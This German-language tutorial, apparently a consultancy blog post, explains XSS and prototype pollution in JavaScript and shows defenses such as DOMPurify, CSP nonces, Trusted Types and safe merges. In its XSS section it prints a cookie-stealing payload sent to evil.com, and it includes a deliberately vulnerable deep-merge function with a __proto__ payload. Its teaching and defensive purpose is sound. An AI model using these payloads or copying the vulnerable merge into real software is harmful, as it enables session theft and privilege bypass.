JS
() =>
JavaScript · Security · XSS · Prototype Pollution · CSP
XSS und Prototype Pollution
JavaScript-Sicherheitslücken schließen

Cross-Site Scripting und Prototype Pollution gehören zu den häufigsten und gefährlichsten JavaScript-Sicherheitslücken. XSS entsteht oft durch eine einzige unsichere innerHTML-Zuweisung. Prototype Pollution korrumpiert Object.prototype und macht jede Instanz im gesamten Programm angreifbar. Dieser Artikel erklärt beide Angriffsvektoren und zeigt konkrete Abwehrmaßnahmen.

15 Min. Lesezeit XSS · CSP · DOMPurify · Prototype Pollution · Object.freeze Frontend- und Node.js-Sicherheit

1. XSS – Angriff durch Skript-Injektion verstehen

Cross-Site Scripting (XSS) ist ein Angriff, bei dem ein Angreifer JavaScript-Code in eine Webseite injiziert, der dann im Browser des Opfers ausgeführt wird. Das Besondere: Der Browser des Opfers führt den Code im Kontext der legitimen Seite aus – mit vollem Zugriff auf Cookies, localStorage, DOM und alle APIs, die die Seite nutzt. Session-Tokens können gestohlen, Formulare manipuliert, und im Falle von Browser-Extensions sogar privilegierte APIs missbraucht werden. XSS ist in der OWASP Top 10 seit Jahren unter den gefährlichsten Webanwendungs-Schwachstellen.

Es gibt drei Varianten von XSS: Reflected XSS (Payload kommt aus der URL oder Anfrage und wird ungefiltert in die Antwort eingebaut), Stored XSS (Payload wird in der Datenbank gespeichert und bei jedem Seitenaufruf ausgegeben) und DOM-based XSS (Payload wird durch unsicheres JavaScript direkt im Client-Code in den DOM geschrieben). DOM-based XSS ist die häufigste Variante in modernen Single-Page-Applications und tritt auf, wenn JavaScript-Code unsichere Quellen wie location.hash, location.search oder document.referrer in den DOM schreibt, ohne Sanitisierung.

2. Die häufigsten XSS-Vektoren im Frontend-Code

Der häufigste XSS-Vektor in JavaScript-Frontends ist die direkte Zuweisung von nicht-sanitisierten Strings an innerHTML. Wenn ein API-Response, ein URL-Parameter oder ein Nutzer-Input ungefiltert in element.innerHTML = userInput fließt, kann ein Angreifer beliebige HTML-Strukturen inklusive <script>-Tags, Event-Handler-Attribute (onerror, onload) und Data-URI-Attribute injizieren. Besonders tückisch: <script>-Tags, die über innerHTML eingefügt werden, werden von modernen Browsern nicht ausgeführt – aber <img src=x onerror="maliciousCode()"> oder <svg onload="..."> sehr wohl.

Weitere gefährliche JavaScript-APIs für XSS: document.write(), eval(), setTimeout(string) und setInterval(string) (String-Argumente werden als JavaScript ausgeführt), new Function(string) und die jQuery-Methode $(string) bei unkontrollierten Inputs. In React ist direktes XSS durch JSX schwerer, weil React alle JSX-Ausdrücke automatisch escaped – aber dangerouslySetInnerHTML hebt diesen Schutz explizit auf und sollte mit denselben Vorsichtsmaßnahmen wie innerHTML behandelt werden.


// DANGEROUS: direct innerHTML assignment from untrusted source
const userComment = '<img src=x onerror="document.location=\'https://evil.com/?c=\'+document.cookie">';

// XSS: browser executes the onerror handler when img fails to load
document.getElementById('comments').innerHTML = userComment;

// SAFE option 1: use textContent for plain text — never interpreted as HTML
document.getElementById('output').textContent = userComment;

// SAFE option 2: sanitize with DOMPurify before inserting HTML
// import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userComment, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'title'],
});
document.getElementById('comments').innerHTML = clean;

// DANGEROUS: eval and string-based timers
eval(userInput);               // executes any string as JS
setTimeout(userInput, 100);    // same danger

// SAFE: always use function references, not strings
setTimeout(() => handleTimeout(), 100);

3. XSS abwehren: DOMPurify, textContent und Trusted Types

Die wichtigste Maßnahme gegen XSS ist die konsequente Verwendung sicherer DOM-APIs. textContent statt innerHTML ist die erste Wahl für das Einfügen von Text: Der Browser interpretiert den Inhalt niemals als HTML, sondern zeigt ihn immer als reinen Text an. Wenn HTML tatsächlich benötigt wird, ist DOMPurify die empfohlene Bibliothek: Es parst den HTML-String in einem isolierten Kontext, entfernt alle gefährlichen Tags und Attribute, und gibt einen bereinigten HTML-String zurück. DOMPurify ist battle-tested, aktiv gewartet und unterstützt konfigurierbare Allowlists für Tags und Attribute.

Trusted Types sind eine neuere Browser-API, die XSS auf API-Ebene verhindert: Sie erzwingen, dass gefährliche Sinks wie innerHTML nur TrustedHTML-Objekte akzeptieren, keine rohen Strings. In Verbindung mit einer CSP-Direktive (require-trusted-types-for 'script') wird jede Zuweisung eines rohen Strings an einen gefährlichen Sink zu einem Laufzeitfehler – effektiv verbietet man unsichere DOM-Operationen auf Browser-Ebene. Trusted Types werden aktuell von Chrome und Edge unterstützt, aber noch nicht von Firefox und Safari.

4. Content Security Policy: die letzte Verteidigungslinie

Eine Content Security Policy (CSP) ist ein HTTP-Header, der dem Browser vorschreibt, welche Ressourcen geladen und welche JavaScript-Operationen ausgeführt werden dürfen. Eine gut konfigurierte CSP ist die wirkungsvollste Maßnahme gegen XSS in der Tiefe: Selbst wenn ein Angreifer ein Skript injiziert, verhindert die Policy dessen Ausführung. Die wichtigste Direktive: script-src 'self' erlaubt nur Skripte vom eigenen Origin. default-src 'none' verbietet alles, was nicht explizit erlaubt ist. object-src 'none' verhindert Flash und andere Plugins.

Die häufigste CSP-Falle: 'unsafe-inline' in script-src. Das erlaubt inline <script>-Blöcke und Event-Handler-Attribute und macht die Policy für XSS-Angriffe weitgehend unwirksam. Die Alternative sind Nonces: Jede Seitenantwort enthält einen kryptographisch zufälligen Nonce-Wert, der sowohl im CSP-Header (script-src 'nonce-abc123') als auch als Attribut auf legitimen <script>-Tags steht. Injizierte Skripte kennen den Nonce nicht und werden blockiert. Hyvä CSP in Magento nutzt genau dieses Muster.


// Content Security Policy implementation examples

// HTTP Header (ideal — server-side):
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}';
//   style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none';
//   base-uri 'self'; form-action 'self'; frame-ancestors 'none';

// Meta tag fallback (less powerful — no frame-ancestors, no form-action):
// <meta http-equiv="Content-Security-Policy" content="default-src 'self'">

// Trusted Types policy (Chrome/Edge — prevents XSS at API level)
if (window.trustedTypes && window.trustedTypes.createPolicy) {
  const sanitizer = window.trustedTypes.createPolicy('dompurify', {
    // Only allow HTML that passed DOMPurify sanitization
    createHTML: (dirty) => DOMPurify.sanitize(dirty, {
      RETURN_TRUSTED_TYPE: true,
      ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
    }),
  });

  // Now innerHTML only accepts TrustedHTML — raw strings throw TypeError
  element.innerHTML = sanitizer.createHTML(userInput);
}

// Nonce-based inline script (must match CSP nonce header)
// <script nonce="abc123xyz">
//   // This script runs because nonce matches
// </script>
// Injected scripts without nonce are blocked by the browser

5. Prototype Pollution – Angriff auf Object.prototype

Prototype Pollution ist ein JavaScript-spezifischer Angriff, der die Prototype-Chain ausnutzt. In JavaScript erben alle Plain-Objects von Object.prototype. Wenn ein Angreifer eine Eigenschaft auf Object.prototype setzen kann – z.B. über einen unsicheren deep-merge-Algorithmus oder einen unsanitisierten JSON-Key wie __proto__ –, dann ist diese Eigenschaft sofort auf jedem Plain-Object im gesamten Programm verfügbar. Das hat fatale Konsequenzen: Sicherheitschecks werden umgangen, Anwendungslogik wird korrumpiert, und in Node.js können Prototype Pollution-Angriffe sogar zu Remote Code Execution führen.

Der klassische Prototype Pollution-Angriff sieht so aus: Ein Angreifer sendet einen JSON-Body mit dem Key {"__proto__": {"isAdmin": true}}. Ein unsicherer deep-merge-Algorithmus interpretiert __proto__ als Prototype-Referenz und setzt Object.prototype.isAdmin = true. Ab diesem Moment gibt jeder Code im Programm, der user.isAdmin prüft, true zurück – auch für Objekte, die explizit kein isAdmin-Property haben. Die Sicherheitsprüfung ist kompromittiert, ohne dass eine einzige Zeile Anwendungscode verändert wurde.

6. Wie Prototype Pollution in echten Apps entsteht

Die häufigsten Entstehungsorte von Prototype Pollution: Unsichere deep-merge-Funktionen in eigenen Utility-Bibliotheken, die rekursiv target[key] = source[key] aufrufen, ohne __proto__, constructor und prototype als Keys zu blockieren. Bekannte npm-Pakete wie ältere Versionen von lodash.merge, jquery.extend und hoek hatten dokumentierte Prototype Pollution-Schwachstellen. Die npm-Advisories für diese Pakete enthalten Tausende von Projekten als betroffene Downstream-Abhängigkeiten.

Ein weiterer Vektor: URL-Parsing und Query-String-Parsing-Bibliotheken, die Arrays und verschachtelte Objekte via a[__proto__][isAdmin]=true in der URL zulassen. Das qs-Paket hatte mehrere Versionen mit dieser Schwachstelle. Auch YAML-Parser und CSV-Importer, die flexible Schlüsselstrukturen erlauben, können zum Prototype Pollution-Vektor werden. Node.js-Server sind besonders gefährdet, weil ein kompromittiertes Object.prototype alle Request-Handler betrifft, nicht nur den aktuellen Request.


// Prototype Pollution demonstration and prevention

// VULNERABLE deep merge — do not use this pattern
function vulnerableMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      vulnerableMerge(target[key], source[key]); // allows __proto__ pollution
    } else {
      target[key] = source[key]; // sets Object.prototype properties!
    }
  }
}

// Attack: injecting via __proto__ key
const maliciousInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
vulnerableMerge({}, maliciousInput);
console.log({}.isAdmin); // true — Object.prototype is polluted!

// SAFE deep merge — block dangerous keys
function safeMerge(target, source) {
  const BLOCKED_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

  for (const key of Object.keys(source)) {
    if (BLOCKED_KEYS.has(key)) continue; // Block prototype pollution vector

    if (
      typeof source[key] === 'object' &&
      source[key] !== null &&
      !Array.isArray(source[key])
    ) {
      target[key] = safeMerge(target[key] ?? Object.create(null), source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Create objects without prototype for config parsing (no __proto__ risk)
const config = Object.create(null);

7. Prototype Pollution verhindern: Object.freeze und sichere Merges

Die stärkste Maßnahme gegen Prototype Pollution ist das Einfrieren von Object.prototype mit Object.freeze(Object.prototype) am Programmstart. Nach dem Einfrieren können keine neuen Eigenschaften zu Object.prototype hinzugefügt werden – jeder Versuch wirft einen TypeError im Strict Mode oder wird im Non-Strict-Mode stillschweigend ignoriert. Das ist eine global wirkende Schutzmaßnahme, die keine Änderungen am restlichen Code erfordert. In Node.js-Servern sollte dieser Aufruf in der Initialisierungsphase stehen, bevor externe Daten verarbeitet werden.

Für sichere Objekt-Merges empfiehlt sich die Verwendung von structuredClone() (ab Node 17 und allen modernen Browsern) statt manueller deep-merge-Algorithmen: structuredClone kopiert alle Daten-Typen korrekt, inklusive nested Objects, ohne Prototype-Chain-Manipulation zu erlauben. Alternativ: Object.assign({}, ...sources) für flache Merges oder JSON.parse(JSON.stringify(obj)) für einfache deep-copies ohne Methods. Für komplexe Merge-Anforderungen: Lodash 4.17.21 oder höher mit gepatchter merge-Funktion, oder das Paket deepmerge mit expliziten Key-Guards.

8. XSS vs. Prototype Pollution – Vergleich und Kombinationsangriffe

XSS und Prototype Pollution sind orthogonale Angriffsvektoren: XSS injiziert Code-Ausführung im Client-Browser durch unsichere DOM-Manipulationen. Prototype Pollution korrumpiert den JavaScript-Laufzeit-Zustand durch Manipulation der Prototype-Chain. Beide können jedoch kombiniert werden: Eine Prototype Pollution-Schwachstelle in einem Frontend-Framework kann dazu führen, dass ein nachgelagert gerendertes Template eine XSS-Payload ausführt, obwohl der Template-Code selbst korrekt sanitisiert.

Konkret: Wenn Object.prototype.toString durch Prototype Pollution überschrieben wird und ein Template-System intern obj.toString() aufruft, um Werte zu serialisieren, kann eine XSS-Payload in dieser Methode landen. Client-Prototype-Pollution kann auch CSP-Bypässe ermöglichen, wenn Framework-Internals die pollutierten Properties für dynamisches Script-Laden nutzen. Diese Kombinations-Angriffe sind selten, aber dokumentiert und zeigen, warum beide Schwachstellen-Klassen gleichzeitig bekämpft werden müssen.

Angriff Hauptvektor Wirkung Hauptabwehr
XSS (DOM-based) innerHTML, eval Code-Ausführung im Browserkontext textContent, DOMPurify, CSP
XSS (Reflected) URL-Parameter in HTML Session-Diebstahl, Formular-Manipulation Server-seitiges Escaping, CSP
Prototype Pollution __proto__ in JSON/Merge Globale Laufzeit-Korrumpierung Object.freeze, sichere Merges
Kombinationsangriff Pollution → XSS-Payload CSP-Bypass, Framework-Exploit Beide Abwehren + Security Audit

9. Sicherheits-Audit: Tools und Checkliste

Ein systematischer Sicherheits-Audit für XSS und Prototype Pollution beginnt mit statischer Analyse. ESLint-Plugins wie eslint-plugin-security und eslint-plugin-no-unsanitized markieren gefährliche DOM-APIs direkt im Code. Für Prototype Pollution: npm audit listet bekannte Schwachstellen in Dependencies, darunter viele historische Pollution-Bugs. Das Tool snyk geht tiefer und analysiert auch transitive Abhängigkeiten. Für dynamische Tests ist Burp Suite das Standard-Tool: Es fügt XSS-Payloads automatisch in alle Input-Felder, URL-Parameter und Header ein.

Für Prototype Pollution-spezifische Tests: Das npm-Paket pp-finder automatisiert die Suche nach Pollution-Vektoren in der eigenen Codebasis. Eine manuelle Checkliste: Jeden deep-merge-Aufruf auf __proto__-Blocking prüfen. Jeden JSON-Parse-Pfad auf Key-Validation prüfen. Query-String-Parsing mit verschachtelten Objekten auf Pollution testen. In Node.js-Environments: Nach dem Startup Object.prototype.__proto__ auf unerwartete Properties prüfen. Regelmäßige npm audit-Aufrufe in der CI-Pipeline sind Pflicht für jede produktionsreife JavaScript-Anwendung.


// Security hardening: freeze prototype + safe object patterns

// 1. Freeze Object.prototype at application startup
Object.freeze(Object.prototype);
// Now: ({}).polluted = 'yes' via __proto__ throws TypeError in strict mode

// 2. Use Object.create(null) for data containers — no prototype chain
function parseUserConfig(rawInput) {
  const config = Object.create(null); // no __proto__, no toString, no hasOwnProperty
  const safeKeys = ['theme', 'language', 'timezone'];
  const parsed = JSON.parse(rawInput);

  for (const key of safeKeys) {
    if (Object.prototype.hasOwnProperty.call(parsed, key)) {
      config[key] = String(parsed[key]).slice(0, 100); // type + length guard
    }
  }
  return config;
}

// 3. Safe hasOwnProperty check — never call directly on object
// WRONG: obj.hasOwnProperty(key) — attackable via pollution
// RIGHT: always call via Object.prototype
function hasOwn(obj, key) {
  return Object.prototype.hasOwnProperty.call(obj, key);
}

// 4. structuredClone for deep copy — pollution-safe
const deepCopy = structuredClone(sourceObject);

10. Zusammenfassung

XSS und Prototype Pollution sind zwei der wirkungsvollsten Angriffsvektoren in JavaScript-Anwendungen. XSS entsteht durch unsichere DOM-Manipulationen mit innerHTML, eval oder String-basierten Timern und wird durch textContent, DOMPurify und eine strikte CSP abgewehrt. Prototype Pollution entsteht durch unsichere deep-merge-Algorithmen und unkontrollierte JSON-Keys und wird durch Key-Blocking in Merges, Object.freeze(Object.prototype) und Object.create(null) für Daten-Container abgewehrt.

Die wichtigsten praktischen Maßnahmen zusammengefasst: textContent statt innerHTML als Default. DOMPurify für unvermeidliche HTML-Einfügungen. CSP mit Nonces ohne 'unsafe-inline'. __proto__, constructor und prototype als Keys in Merge-Funktionen blocken. Object.freeze(Object.prototype) am Programmstart. npm audit in jeder CI-Pipeline. Statische Analyse mit ESLint-Security-Plugins. Kein Angriff kann verhindert werden, wenn er unbekannt ist – regelmäßige Audits und aktuelle Dependencies sind die Grundlage jeder JavaScript-Sicherheitsstrategie.

Mironsoft

JavaScript Security, XSS-Audits und sichere Frontend-Architektur

Sicherheitslücken finden, bevor Angreifer es tun?

Wir führen JavaScript-Security-Audits durch, identifizieren XSS-Vektoren und Prototype Pollution-Risiken in eurer Codebasis und implementieren CSP, DOMPurify und sichere Object-Patterns für produktionsreife Sicherheit.

XSS-Audit

innerHTML-Vektoren, eval-Missbrauch und CSP-Lücken systematisch identifizieren

Pollution-Analyse

Unsichere Merge-Algorithmen und verwundbare Dependencies in der Codebasis finden

CSP-Implementierung

Nonce-basierte CSP ohne unsafe-inline für Magento Hyvä und React-Anwendungen

XSS und Prototype Pollution — Das Wichtigste auf einen Blick

XSS-Abwehr

textContent statt innerHTML. DOMPurify für HTML. CSP mit Nonces ohne unsafe-inline. eval, setTimeout(string) und new Function(string) grundsätzlich vermeiden.

Prototype Pollution

Object.freeze(Object.prototype) am Start. __proto__, constructor und prototype in Merge-Funktionen blocken. Object.create(null) für Daten-Container. structuredClone() für deep copies.

Dependency-Sicherheit

npm audit in jeder CI-Pipeline. Snyk für transitive Dependencies. Ältere lodash.merge, jquery.extend und qs-Versionen sind häufige Pollution-Quellen.

Statische Analyse

eslint-plugin-security und eslint-plugin-no-unsanitized markieren gefährliche APIs. pp-finder für Pollution-Vektoren. Beide Tools in Pre-commit-Hooks integrieren.

11. FAQ: XSS und Prototype Pollution

1Was ist XSS in JavaScript?
Injektion von JavaScript-Code in eine Webseite, der im Browserkontext des Opfers ausgeführt wird. Voller Zugriff auf Cookies, localStorage und DOM.
2Warum ist innerHTML gefährlich?
Interpretiert String als HTML und führt Event-Handler aus. textContent oder DOMPurify als sichere Alternativen verwenden.
3Was ist Prototype Pollution?
Angriff via __proto__-Key in JSON oder Merge-Algorithmen. Setzt Eigenschaften auf Object.prototype – sofort im gesamten Programm sichtbar.
4Prototype Pollution verhindern?
Object.freeze(Object.prototype). __proto__/constructor/prototype in Merges blocken. Object.create(null). structuredClone() statt manuellem deep-merge.
5Was macht CSP gegen XSS?
Schreibt vor, welche Skripte ausgeführt werden dürfen. Nonce-basierte CSP ohne unsafe-inline verhindert injizierte Skripte auch nach erfolgreicher Injektion.
6Was sind Trusted Types?
Browser-API: innerHTML akzeptiert nur TrustedHTML-Objekte. Rohe Strings → Laufzeitfehler. Chrome und Edge unterstützt.
7React automatisch sicher?
JSX-Ausdrücke werden escaped. Aber dangerouslySetInnerHTML hebt diesen Schutz auf – mit gleichen Vorsichtsmaßnahmen wie innerHTML behandeln.
8Welche npm-Pakete sind betroffen?
Ältere lodash (<4.17.21), jquery (<3.4.0), hoek, qs, set-value. npm audit und Snyk in CI-Pipeline für aktuelle Warnungen.
9XSS + Pollution kombiniert?
Pollution kann Framework-Internals überschreiben → XSS-Payload via Template-System ausführen oder CSP umgehen. Beide Abwehren gleichzeitig implementieren.
10Wie teste ich auf XSS?
Burp Suite oder OWASP ZAP für automatisierte Tests. eslint-plugin-no-unsanitized für statische Analyse. Alle innerHTML/dangerouslySetInnerHTML/eval-Aufrufe manuell prüfen.